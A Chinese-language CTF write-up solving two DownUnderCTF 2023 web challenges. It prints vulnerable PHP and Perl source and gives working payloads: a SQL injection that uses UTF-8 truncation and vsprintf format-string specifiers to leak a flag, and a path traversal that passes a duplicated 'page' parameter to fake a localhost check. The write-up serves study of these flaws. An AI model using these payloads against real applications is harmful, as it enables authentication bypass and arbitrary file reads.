DownunderCTF 2023 writeup 前言 这比赛周末打的,web题目做出来一半(简单的那一半),medium以上的一道题目没做出来,名次由于这次只有我一个人参加,而我只会做些web和misc以及一点点crypto,逆向和pwn完全不会,而且国外的套路和国内还是不一样啊。最终排名也是泯然众人,中间名次。看了看后来的wp,简单的写一些这次收获到内容的一些题目吧。
这个比赛很好的一点在于提供了所有的题目环境,下次再出题正好改改。😂
题目环境地址:https://github.com/DownUnderCTF/Challenges_2023_Public/
题目 web smooth-jazz 题目代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 <?php function mysql_fquery ($mysqli , $query , $params ) { return mysqli_query ($mysqli , vsprintf ($query , $params )); } if (isset ($_POST ['username' ]) && isset ($_POST ['password' ])) { $mysqli = mysqli_connect ('db' , 'challuser' , 'challpass' , 'challenge' ); $username = strtr ($_POST ['username' ], ['"' => '\\"' , '\\' => '\\\\' ]); $password = sha1 ($_POST ['password' ]); $res = mysql_fquery ($mysqli , 'SELECT * FROM users WHERE username = "%s"' , [$username ]); if (!mysqli_fetch_assoc ($res )) { $message = "Username not found." ; goto fail; } $res = mysql_fquery ($mysqli , 'SELECT * FROM users WHERE username = "' .$username .'" AND password = "%s"' , [$password ]); if (!mysqli_fetch_assoc ($res )) { $message = "Invalid password." ; goto fail; } $htmlsafe_username = htmlspecialchars ($username , ENT_COMPAT | ENT_SUBSTITUTE); $greeting = $username === "admin" ? "Hello $htmlsafe_username , the server time is %s and the flag is %s" : "Hello $htmlsafe_username , the server time is %s" ; $message = vsprintf ($greeting , [date ('Y-m-d H:i:s' ), getenv ('FLAG' )]); fail: } ?> <!DOCTYPE html> <html> <head> <title>🎷 Smooth Jazz</title> <style> body { background-color: font-family: Arial, sans-serif; } .container { max-width: 400 px; margin: 100 px auto; padding: 20 px; background-color: border-radius: 5 px; box-shadow: 0 2 px 5 px rgba (0 , 0 , 0 , 0.1 ); text-align: center; } h1 { color: } form { margin-top: 20 px; } label, input { display: block; margin-bottom: 10 px; } input[type="text" ], input[type="password" ] { width: 100 %; padding: 10 px; border: 1 px solid border-radius: 4 px; box-sizing: border-box; } input[type="submit" ] { width: 100 %; padding: 10 px; background-color: color: white; border: none; border-radius: 4 px; cursor: pointer; } .music-player { margin-top: 20 px; } h2 { color: } audio { width: 100 %; margin-top: 10 px; } .message { margin-top: 10 px; } </style> </head> <body> <div class ="container "> <h1 >Smooth Jazz </h1 > <form method ="post "> <label for ="username ">Username :</label > <input type ="text " id ="username " name ="username " placeholder ="Enter your username "> <label for ="password ">Password :</label > <input type ="password " id ="password " name ="password " placeholder ="Enter your password "> <input type ="submit " value ="Login "> </form > <div class ="music -player "> <audio src ="/offering -larry -stephens .mp3 " id ="audio "></audio > If you are stuck , you can <a href ="javascript :document .getElementById ('audio ').play ()">listen to some smooth jazz </a >. </div > <div id ="message " class ="message "> <p ><?= $message ?? '' ?></p > </div > </div > </body > </html >
先说下整体逻辑,
1、先判断用户名是否存在
2、sql查询对应用户名、密码是否存在在数据库
3、最后$username还要强等于(===)admin 才能拿到flag
其实一开始我以为是宽字节注入呢,因为我构造admin%df’进入发现可以绕过第一步,但是怎么都无法注入,后续查看数据库编码也没有gbk的编码形式。其实这里涉及的是另一个考点:
UTF截断 :UTF截断会截断无效内容,比如 admin和admin%ff 应该是一样的。
所以我这里可以通过这种方法绕过第一步,但这里不是宽字节注入。而且后续还要强等于admin,这个===印象中在非特殊环境下是不可绕过的。而且根据代码来看,注入点应该在第二个查询语句中。
现在好像是无解的,但是代码最开头的地方有一个vsprintf,比赛中我也忽略了,我以为考点在下面,这里的vsprintf 根据格式字符串中的格式指示符,常见用法就是:
1 2 3 4 5 6 7 8 9 10 $string = vsprintf ('Hello, %s! Today is %s.' , ['John' , 'Monday' ]);$result = vsprintf ('Name: %1$s, Age: %2$d' , ['John' , 25 ]);$result = vsprintf ("Like %1\$'a10s" , ["3" ]);
当然还是建议去看下官方文档,详细了解所有用法:
https://www.php.net/manual/zh/function.vsprintf.php
如果我们插入一个%1$c 然后把password 的 sha1 生成一个34开头的字符串(char类型只拿前面的一个char格式化字符串):
![image-20230906145114573](/Users/geez/Library/Application Support/typora-user-images/image-20230906145114573.png)
那么我们就格式化字符串的时候就拿到一个双引号,也就是我们可以闭合了。
那我们的注入payload就可以是
1 username=admin%ff%1$c||1#&password=668
\xff 是为了utf8截断从而绕过sql查询部分的admin的判断,截断后面的东西都不会被和admin比较了
![image-20230906151947718](/Users/geez/Library/Application Support/typora-user-images/image-20230906151947718.png)
但是还是有一个问题,怎么突破===’admin’强等判断打印flag呢?
1 2 3 4 5 6 $htmlsafe_username = htmlspecialchars ($username , ENT_COMPAT | ENT_SUBSTITUTE);$greeting = $username === "admin" ? "Hello $htmlsafe_username , the server time is %s and the flag is %s" : "Hello $htmlsafe_username , the server time is %s" ; $message = vsprintf ($greeting , [date ('Y-m-d H:i:s' ), getenv ('FLAG' )]);
这里仍然利用vsprintf,我们既然绕不过===”admin” 能不能在格式化字符串的时候再创建一个变量放置位把getenv(‘FLAG’) 打印出来?
如果我们直接插入%2$s 那么在sql注入格式化字符串的时候就会报错,因为那里的参数只有一个[password],我们需要的是成功执行sql注入并在最后一个vsprintf中能拿到类似%2$s的字段来把flag格式化写进去,那么我们需要第二个变量位置它在拼接sql语句时不进行格式化,在最后一个vsprintf处把flag格式化进去:
这步的关键在于htmlspecialchars
1 2 3 4 5 6 $htmlsafe_username = htmlspecialchars ($username , ENT_COMPAT | ENT_SUBSTITUTE);
利用 > 被编码为> 我们可以构造 %1$’>%2$s
$’是什么意思我们可以看官方手册:
![image-20230907135735471](/Users/geez/Library/Application Support/typora-user-images/image-20230907135735471.png)
也就是上面的字符串要填充 > 但是没写数量所以填充0个就是空了,%1$’>在vsprintf处理时就会变成空,只剩下%2$s
sql语句变成:
1 SELECT * FROM users WHERE username = "admin"|| 1 #% 2 $s" AND password = "34 c66477519b949b09b45e131347c17b5822a30a"SELECT * FROM users WHERE username = "admin"||1#%2$s" AND password =
这里解释下为啥%1$’>%2$s 不是按照我们理解的应该两个参数都格式化进去,关键还是文档。
%[argnum$][flags][width][.precision]specifier
.
官方文档说明这个函数的使用方式如下,其中%和specifier是必须的 也就是说%s是极简模式。我们使用%1$’< 时 有没有发现这个格式的specifier应该是什么?
没有,对没有specifier,所以%1$’>%2$s 就把% 当作specifier了 这个%也就逃逸出来了:
![image-20230908094433300](/Users/geez/Library/Application Support/typora-user-images/image-20230908094433300.png)
其实输出%需要%%的转义和这个原理几乎一摸一样。
后续username需要传入htmlspecialchars($username):
1 admin% 1 $c|| 1 #% 1 $'>%2$s
此时拼接完的参数是:
1 2 3 4 5 $greeting = Hello admin%1 $c ||1 $message = vsprintf ($greeting , [date ('Y-m-d H:i:s' ), getenv ('FLAG' )]);1 、%1 $c 被一个字符填充2 、%1 $'&g 被 2023 填充,因为&后面没有数字,所以没有使用&填充,后面specifier标志为为g表示通用格式。可以看官方手册了解详情 3、%2$s 被真正的flag填充 最后的%s第一个时间字符串填充
最终我们拿到flag
![image-20230908094908451](/Users/geez/Library/Application Support/typora-user-images/image-20230908094908451.png)
扩展 上面的$’ 填充使用方式还可以在一些转义逃逸中使用,比如在sql语句中经常有需要闭合的’ 而代码转义了’ 导致我们无法闭合,那么我们可以构造:
经过转义变为
而经过vsprintf时,单引号就逃逸出来了
![image-20230908115035624](/Users/geez/Library/Application Support/typora-user-images/image-20230908115035624.png)
cgi-friday 直接看题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 use strict;use warnings;use CGI::Minimal;use constant HTDOCS => '/usr/local/apache2/htdocs' ;sub read_file { my ($file_path) = @_; my $fh; local $/; open ($fh, "<" , $file_path) or return "read_file error: $!" ; my $content = <$fh>; close ($fh); return $content; } sub route_request { my ($page, $remote_addr) = @_; if ($page =~ /^about$/ ) { return HTDOCS . '/pages/about.txt' ; } if ($page =~ /^version$/ ) { return '/proc/version' ; } if ($page =~ /^cpuinfo$/ ) { return HTDOCS . '/pages/denied.txt' unless $remote_addr eq '127.0.0.1' ; return '/proc/cpuinfo' ; } if ($page =~ /^stat|io|maps$/ ) { return HTDOCS . '/pages/denied.txt' unless $remote_addr eq '127.0.0.1' ; return "/proc/self/$page" ; } return HTDOCS . '/pages/home.txt' ; } sub escape_html { my ($text) = @_; $text =~ s/</</g ; $text =~ s/>/>/g ; return $text; } my $q = CGI::Minimal->new;print "Content-Type: text/html\r\n\r\n" ;my $file_path = route_request($q->param('page' ), $ENV{'REMOTE_ADDR' });my $file_content = read_file($file_path);print escape_html($file_content);
首先理清楚代码逻辑:
1、$q->param(‘page’)接受传入的page参数、$ENV{‘REMOTE_ADDR’}拿到请求的ip 一般认为这个是不可伪造的。
2、route_request处理上述请求,当满足以下两点可以拿到flag
1 2 3 4 5 6 if ($page =~ /^stat|io|maps$/ ) { return HTDOCS . '/pages/denied.txt' unless $remote_addr eq '127.0.0.1' ; return "/proc/self/$page" ; }
第一个好绕过,第二个直接想改变$ENV{‘REMOTE_ADDR’}是困难的,但是$q->param(‘page’)可以接收一个list而不是一个参数,所以我们可以构造两个page的数组一个用来赋值$page,一个用来赋值给$remote_addr
最终payload:
1 /?page=../../sys/module/vfio/../../../flag.txt&page=127.0.0.1
拿到flag:DUCTF{s qqjust another perl hacker q and print ucfirst}